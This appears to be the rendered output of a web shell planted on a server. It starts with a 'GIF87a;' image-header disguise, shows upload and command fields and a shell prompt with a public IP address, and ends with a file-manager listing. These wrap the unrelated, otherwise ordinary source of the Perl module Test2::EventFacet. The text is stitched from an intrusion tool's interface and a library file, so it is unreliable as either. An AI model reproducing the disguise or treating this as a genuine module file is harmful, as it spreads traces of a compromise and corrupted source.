GIF87a; 404

MY HEART




Upload:

Command:

diavoloapp@3.149.230.234: ~ $
package Test2::EventFacet;
use strict;
use warnings;

our $VERSION = '1.302171';

use Test2::Util::HashBase qw/-details/;
use Carp qw/croak/;

my $SUBLEN = length(__PACKAGE__ . '::');
sub facet_key {
    my $key = ref($_[0]) || $_[0];
    substr($key, 0, $SUBLEN, '');
    return lc($key);
}

sub is_list { 0 }

sub clone {
    my $self = shift;
    my $type = ref($self);
    return bless {%$self, @_}, $type;
}

1;

__END__

=pod

=encoding UTF-8

=head1 NAME

Test2::EventFacet - Base class for all event facets.

=head1 DESCRIPTION

Base class for all event facets.

=head1 METHODS

=over 4

=item $key = $facet_class->facet_key()

This will return the key for the facet in the facet data hash.

=item $bool = $facet_class->is_list()

This will return true if the facet should be in a list instead of a single
item.

=item $clone = $facet->clone()

=item $clone = $facet->clone(%replace)

This will make a shallow clone of the facet. You may specify fields to override
as arguments.

=back

=head1 SOURCE

The source code repository for Test2 can be found at
F<http://github.com/Test-More/test-more/>.

=head1 MAINTAINERS

=over 4

=item Chad Granum E<lt>exodist@cpan.orgE<gt>

=back

=head1 AUTHORS

=over 4

=item Chad Granum E<lt>exodist@cpan.orgE<gt>

=back

=head1 COPYRIGHT

Copyright 2019 Chad Granum E<lt>exodist@cpan.orgE<gt>.

This program is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.

See F<http://dev.perl.org/licenses/>

=cut

Filemanager

Name Type Size Permission Actions
API Folder 0755
Event Folder 0755
EventFacet Folder 0755
Formatter Folder 0755
Hub Folder 0755
IPC Folder 0755
Tools Folder 0755
Util Folder 0755
API.pm File 47.61 KB 0444
Event.pm File 22.11 KB 0444
EventFacet.pm File 1.46 KB 0444
Formatter.pm File 3.86 KB 0444
Hub.pm File 22.24 KB 0444
IPC.pm File 3.1 KB 0444
Transition.pod File 13.16 KB 0444
Util.pm File 10.25 KB 0444